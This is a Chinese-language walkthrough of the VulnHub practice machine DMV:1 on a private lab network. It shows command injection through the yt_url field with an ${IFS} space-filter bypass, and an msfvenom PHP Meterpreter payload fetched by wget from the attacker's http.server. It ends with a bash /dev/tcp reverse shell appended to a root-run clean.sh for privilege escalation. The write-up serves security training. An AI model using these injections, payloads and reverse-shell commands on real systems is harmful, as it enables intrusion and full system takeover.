DMV:1靶机下载地址:https://www.vulnhub.com/entry/dmv-1,462/
环境:靶机在VirtualBox中,用的是 VirtualBox Host-Only网卡,ip:192.168.56.111
攻击机 kali在VMware中,使用桥接模式,桥接至VirtualBox Host-Only网卡,ip:192.168.56.112
nmap 扫描发现靶机
nmap 扫描主机端口及其对应的服务,这里开放了22(ssh)和80(http)
访问http://192.168.56.111/ 发现这里存在输入框尝试使用burp抓包分析
存在可控变量yt_url
经过测试发现有命令执行,whoami命令被成功执行
但是这里空格被过滤了
空格绕过的方法很多,这里利用${IFS}替代空格进行绕过
既然存在命令执行,可以想到是否可以利用wget直接将木马下载至靶机
测试发现wget可以使用
使用msfenom构造Meterpreter后门
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.56.112 LPORT=777 -f raw > shell.php
在msf中配置相关选项
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lhost 192.168.56.112
set port 777
run -j
利用python3在本地开启http服务
python3 -m http.server 8888
利用wget下载meterpreter后门
;wget${IFS}http://192.168.56.112:8888/shell.php;
下载成功
触发后门
;curl${IFS} http://192.168.56.111/shell.php;
msf这边也成功创建session
利用python获取交互式shell
python -c 'import pty;pty.spawn("/bin/bash")'
进入admin目录找到flag.txt
whoami查看用户为www-data
进入tmp目录 运行./clean.sh 权限不足
在本地开启nc
nc -lvvp 2333
在之前或获取的靶机shell中运行以下命令
echo bash -c 'bash -i >& /dev/tcp/192.168.56.112/2333 0>&1' >> clean.sh
接着./clean.sh运行,会发现依旧权限不足
回到本地已经成功反弹shell,查看权限为root,继续利用python获得交互式shell
查看最后的flag在/root/root.txt